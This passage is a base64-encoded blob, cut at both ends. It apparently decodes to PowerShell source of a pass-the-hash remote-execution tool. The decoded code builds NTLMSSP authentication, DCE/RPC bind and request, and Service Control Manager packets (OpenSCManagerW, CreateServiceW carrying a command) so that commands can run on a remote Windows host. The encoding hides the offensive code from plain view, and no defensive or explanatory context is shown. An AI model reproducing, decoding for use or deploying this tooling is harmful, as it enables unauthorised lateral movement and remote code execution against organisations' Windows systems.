1NQQXV0aF9BU05JRCIsW0J5dGVbXV0oMHhhMSwweDgyKSkNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOTGVuZ3RoIiwkcGFja2V0X0FTTl9sZW5ndGhfMSkNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOSUQyIixbQnl0ZVtdXSgweDMwLDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05MZW5ndGgyIiwkcGFja2V0X0FTTl9sZW5ndGhfMikNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfQVNOSUQzIixbQnl0ZVtdXSgweGEyLDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9BU05MZW5ndGgzIiwkcGFja2V0X0FTTl9sZW5ndGhfMykNCiAgICAkcGFja2V0X05UTE1TU1BBdXRoLkFkZCgiTlRMTVNTUEF1dGhfTlRMTVNTUElEIixbQnl0ZVtdXSgweDA0LDB4ODIpKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9OVExNU1NQTGVuZ3RoIiwkcGFja2V0X05UTE1TU1BfbGVuZ3RoKQ0KICAgICRwYWNrZXRfTlRMTVNTUEF1dGguQWRkKCJOVExNU1NQQXV0aF9OVExNUmVzcG9uc2UiLCRwYWNrZXRfTlRMTV9yZXNwb25zZSkNCg0KICAgIHJldHVybiAkcGFja2V0X05UTE1TU1BBdXRoDQp9DQoNCiNSUEMNCg0KZnVuY3Rpb24gR2V0LVBhY2tldFJQQ0JpbmQoKQ0Kew0KICAgIHBhcmFtKFtJbnRdJHBhY2tldF9jYWxsX0lELFtCeXRlW11dJHBhY2tldF9tYXhfZnJhZyxbQnl0ZVtdXSRwYWNrZXRfbnVtX2N0eF9pdGVtcyxbQnl0ZVtdXSRwYWNrZXRfY29udGV4dF9JRCxbQnl0ZVtdXSRwYWNrZXRfVVVJRCxbQnl0ZVtdXSRwYWNrZXRfVVVJRF92ZXJzaW9uKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X2NhbGxfSURfYnl0ZXMgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfY2FsbF9JRCkNCg0KICAgICRwYWNrZXRfUlBDQmluZCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9WZXJzaW9uIixbQnl0ZVtdXSgweDA1KSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1ZlcnNpb25NaW5vciIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9QYWNrZXRUeXBlIixbQnl0ZVtdXSgweDBiKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1BhY2tldEZsYWdzIixbQnl0ZVtdXSgweDAzKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0RhdGFSZXByZXNlbnRhdGlvbiIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9GcmFnTGVuZ3RoIixbQnl0ZVtdXSgweDQ4LDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aExlbmd0aCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxJRCIsJHBhY2tldF9jYWxsX0lEX2J5dGVzKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTWF4WG1pdEZyYWciLFtCeXRlW11dKDB4YjgsMHgxMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NYXhSZWN2RnJhZyIsW0J5dGVbXV0oMHhiOCwweDEwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0Fzc29jR3JvdXAiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtQ3R4SXRlbXMiLCRwYWNrZXRfbnVtX2N0eF9pdGVtcykNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NvbnRleHRJRCIsJHBhY2tldF9jb250ZXh0X0lEKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtVHJhbnNJdGVtcyIsW0J5dGVbXV0oMHgwMSkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMiIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2UiLCRwYWNrZXRfVVVJRCkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlciIsJHBhY2tldF9VVUlEX3ZlcnNpb24pDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vciIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4IixbQnl0ZVtdXSgweDA0LDB4NWQsMHg4OCwweDhhLDB4ZWIsMHgxYywweGM5LDB4MTEsMHg5ZiwweGU4LDB4MDgsMHgwMCwweDJiLDB4MTAsMHg0OCwweDYwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4VmVyIixbQnl0ZVtdXSgweDAyLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIGlmKCRwYWNrZXRfbnVtX2N0eF9pdGVtc1swXSAtZXEgMikNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMiIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zMiIsW0J5dGVbXV0oMHgwMSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93bjMiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZTIiLFtCeXRlW11dKDB4YzQsMHhmZSwweGZjLDB4OTksMHg2MCwweDUyLDB4MWIsMHgxMCwweGJiLDB4Y2IsMHgwMCwweGFhLDB4MDAsMHgyMSwweDM0LDB4N2EpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyTWlub3IyIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4MiIsW0J5dGVbXV0oMHgyYywweDFjLDB4YjcsMHg2YywweDEyLDB4OTgsMHg0MCwweDQ1LDB4MDMsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICB9DQogICAgZWxzZWlmKCRwYWNrZXRfbnVtX2N0eF9pdGVtc1swXSAtZXEgMykNCiAgICB7DQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMiIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zMiIsW0J5dGVbXV0oMHgwMSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93bjMiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZTIiLFtCeXRlW11dKDB4NDMsMHgwMSwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweGMwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4NDYpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyTWlub3IyIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4MiIsW0J5dGVbXV0oMHgzMywweDA1LDB4NzEsMHg3MSwweGJhLDB4YmUsMHgzNywweDQ5LDB4ODMsMHgxOSwweGI1LDB4ZGIsMHhlZiwweDljLDB4Y2MsMHgzNikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQzIixbQnl0ZVtdXSgweDAyLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMzIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duNCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMyIsW0J5dGVbXV0oMHg0MywweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjMiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgzIixbQnl0ZVtdXSgweDJjLDB4MWMsMHhiNywweDZjLDB4MTIsMHg5OCwweDQwLDB4NDUsMHgwMywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjMiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhUeXBlIixbQnl0ZVtdXSgweDBhKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDQpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhQYWRMZW5ndGgiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElENCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NZXNzYWdlVHlwZSIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiLFtCeXRlW11dKDB4OTcsMHg4MiwweDA4LDB4ZTIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9DYWxsaW5nV29ya3N0YXRpb25OYW1lIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX09TVmVyc2lvbiIsW0J5dGVbXV0oMHgwNiwweDAxLDB4YjEsMHgxZCwweDAwLDB4MDAsMHgwMCwweDBmKSkNCiAgICB9DQoNCiAgICBpZigkcGFja2V0X2NhbGxfSUQgLWVxIDMpDQogICAgew0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhUeXBlIixbQnl0ZVtdXSgweDBhKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGV2ZWwiLFtCeXRlW11dKDB4MDIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhQYWRMZW5ndGgiLFtCeXRlW11dKDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhSZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEMyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSWRlbnRpZmllciIsW0J5dGVbXV0oMHg0ZSwweDU0LDB4NGMsMHg0ZCwweDUzLDB4NTMsMHg1MCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NZXNzYWdlVHlwZSIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTmVnb3RpYXRlRmxhZ3MiLFtCeXRlW11dKDB4OTcsMHg4MiwweDA4LDB4ZTIpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NhbGxpbmdXb3Jrc3RhdGlvbkRvbWFpbiIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9DYWxsaW5nV29ya3N0YXRpb25OYW1lIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX09TVmVyc2lvbiIsW0J5dGVbXV0oMHgwNiwweDAxLDB4YjEsMHgxZCwweDAwLDB4MDAsMHgwMCwweDBmKSkNCiAgICB9DQoNCiAgICByZXR1cm4gJHBhY2tldF9SUENCaW5kDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRSUENSZXF1ZXN0KCkNCnsNCiAgICBwYXJhbShbQnl0ZVtdXSRwYWNrZXRfZmxhZ3MsW0ludF0kcGFja2V0X3NlcnZpY2VfbGVuZ3RoLFtJbnRdJHBhY2tldF9hdXRoX2xlbmd0aCxbSW50XSRwYWNrZXRfYXV0aF9wYWRkaW5nLFtCeXRlW11dJHBhY2tldF9jYWxsX0lELFtCeXRlW11dJHBhY2tldF9jb250ZXh0X0lELFtCeXRlW11dJHBhY2tldF9vcG51bSxbQnl0ZVtdXSRwYWNrZXRfb2JqZWN0X1VVSUQpDQoNCiAgICBpZigkcGFja2V0X2F1dGhfbGVuZ3RoIC1ndCAwKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9mdWxsX2F1dGhfbGVuZ3RoID0gJHBhY2tldF9hdXRoX2xlbmd0aCArICRwYWNrZXRfYXV0aF9wYWRkaW5nICsgOA0KICAgIH0NCg0KICAgIFtCeXRlW11dJHBhY2tldF93cml0ZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfc2VydmljZV9sZW5ndGggKyAyNCArICRwYWNrZXRfZnVsbF9hdXRoX2xlbmd0aCArICRwYWNrZXRfb2JqZWN0X1VVSUQuTGVuZ3RoKQ0KICAgIFtCeXRlW11dJHBhY2tldF9mcmFnX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCiAgICBbQnl0ZVtdXSRwYWNrZXRfYWxsb2NfaGludCA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICBbQnl0ZVtdXSRwYWNrZXRfYXV0aF9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfYXV0aF9sZW5ndGgpDQogICAgJHBhY2tldF9hdXRoX2xlbmd0aCA9ICRwYWNrZXRfYXV0aF9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9SUENSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X1BhY2tldFR5cGUiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfUGFja2V0RmxhZ3MiLCRwYWNrZXRfZmxhZ3MpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9EYXRhUmVwcmVzZW50YXRpb24iLFtCeXRlW11dKDB4MTAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfRnJhZ0xlbmd0aCIsJHBhY2tldF9mcmFnX2xlbmd0aCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0F1dGhMZW5ndGgiLCRwYWNrZXRfYXV0aF9sZW5ndGgpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9DYWxsSUQiLCRwYWNrZXRfY2FsbF9JRCkNCiAgICAkcGFja2V0X1JQQ1JlcXVlc3QuQWRkKCJSUENSZXF1ZXN0X0FsbG9jSGludCIsJHBhY2tldF9hbGxvY19oaW50KQ0KICAgICRwYWNrZXRfUlBDUmVxdWVzdC5BZGQoIlJQQ1JlcXVlc3RfQ29udGV4dElEIiwkcGFja2V0X2NvbnRleHRfSUQpDQogICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9PcG51bSIsJHBhY2tldF9vcG51bSkNCg0KICAgIGlmKCRwYWNrZXRfb2JqZWN0X1VVSUQuTGVuZ3RoKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENSZXF1ZXN0LkFkZCgiUlBDUmVxdWVzdF9PYmplY3RVVUlEIiwkcGFja2V0X29iamVjdF9VVUlEKQ0KICAgIH0NCg0KICAgIHJldHVybiAkcGFja2V0X1JQQ1JlcXVlc3QNCn0NCg0KI1NDTQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNT3BlblNDTWFuYWdlclcoKQ0Kew0KICAgIHBhcmFtIChbQnl0ZVtdXSRwYWNrZXRfc2VydmljZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZV9sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2UuTGVuZ3RoICsgOTIpDQogICAgW0J5dGVbXV0kcGFja2V0X2ZyYWdfbGVuZ3RoID0gJHBhY2tldF93cml0ZV9sZW5ndGhbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9hbGxvY19oaW50ID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X3NlcnZpY2UuTGVuZ3RoICsgNjgpDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgPSBbU3RyaW5nXSgxLi4yIHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgPSAkcGFja2V0X3JlZmVyZW50X0lEMS5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRDEgKz0gMHgwMCwweDAwDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgPSBbU3RyaW5nXSgxLi4yIHwgRm9yRWFjaC1PYmplY3QgeyJ7MDpYMn0iIC1mIChHZXQtUmFuZG9tIC1NaW5pbXVtIDEgLU1heGltdW0gMjU1KX0pDQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgPSAkcGFja2V0X3JlZmVyZW50X0lEMi5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRDIgKz0gMHgwMCwweDAwDQoNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfTWFjaGluZU5hbWVfUmVmZXJlbnRJRCIsJHBhY2tldF9yZWZlcmVudF9JRDEpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX01hY2hpbmVOYW1lX01heENvdW50IiwkcGFja2V0X3NlcnZpY2VfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19NYWNoaW5lTmFtZV9PZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19NYWNoaW5lTmFtZV9BY3R1YWxDb3VudCIsJHBhY2tldF9zZXJ2aWNlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfTWFjaGluZU5hbWUiLCRwYWNrZXRfc2VydmljZSkNCiAgICAkcGFja2V0X1NDTU9wZW5TQ01hbmFnZXJXLkFkZCgiU0NNT3BlblNDTWFuYWdlcldfRGF0YWJhc2VfUmVmZXJlbnRJRCIsJHBhY2tldF9yZWZlcmVudF9JRDIpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX0RhdGFiYXNlX05hbWVNYXhDb3VudCIsW0J5dGVbXV0oMHgwZiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVy5BZGQoIlNDTU9wZW5TQ01hbmFnZXJXX0RhdGFiYXNlX05hbWVPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19EYXRhYmFzZV9OYW1lQWN0dWFsQ291bnQiLFtCeXRlW11dKDB4MGYsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19EYXRhYmFzZSIsW0J5dGVbXV0oMHg1MywweDAwLDB4NjUsMHgwMCwweDcyLDB4MDAsMHg3NiwweDAwLDB4NjksMHgwMCwweDYzLDB4MDAsMHg2NSwweDAwLDB4NzMsMHgwMCwweDQxLDB4MDAsMHg2MywweDAwLDB4NzQsMHgwMCwweDY5LDB4MDAsMHg3NiwweDAwLDB4NjUsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19Vbmtub3duIixbQnl0ZVtdXSgweGJmLDB4YmYpKQ0KICAgICRwYWNrZXRfU0NNT3BlblNDTWFuYWdlclcuQWRkKCJTQ01PcGVuU0NNYW5hZ2VyV19BY2Nlc3NNYXNrIixbQnl0ZVtdXSgweDNmLDB4MDAsMHgwMCwweDAwKSkNCiAgICANCiAgICByZXR1cm4gJHBhY2tldF9TQ01PcGVuU0NNYW5hZ2VyVw0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jb250ZXh0X2hhbmRsZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZSxbQnl0ZVtdXSRwYWNrZXRfc2VydmljZV9sZW5ndGgsDQogICAgICAgICAgICBbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZCxbQnl0ZVtdXSRwYWNrZXRfY29tbWFuZF9sZW5ndGgpDQogICAgICAgICAgICAgICAgDQogICAgJHBhY2tldF9yZWZlcmVudF9JRCA9IFtTdHJpbmddKDEuLjIgfCBGb3JFYWNoLU9iamVjdCB7InswOlgyfSIgLWYgKEdldC1SYW5kb20gLU1pbmltdW0gMSAtTWF4aW11bSAyNTUpfSkNCiAgICAkcGFja2V0X3JlZmVyZW50X0lEID0gJHBhY2tldF9yZWZlcmVudF9JRC5TcGxpdCgiICIpIHwgRm9yRWFjaC1PYmplY3R7W0NoYXJdW1N5c3RlbS5Db252ZXJ0XTo6VG9JbnQxNigkXywxNil9DQogICAgJHBhY2tldF9yZWZlcmVudF9JRCArPSAweDAwLDB4MDANCg0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19Db250ZXh0SGFuZGxlIiwkcGFja2V0X2NvbnRleHRfaGFuZGxlKQ0KICAgICRwYWNrZXRfU0NNQ3JlYXRlU2VydmljZVcuQWRkKCJTQ01DcmVhdGVTZXJ2aWNlV19TZXJ2aWNlTmFtZV9NYXhDb3VudCIsJHBhY2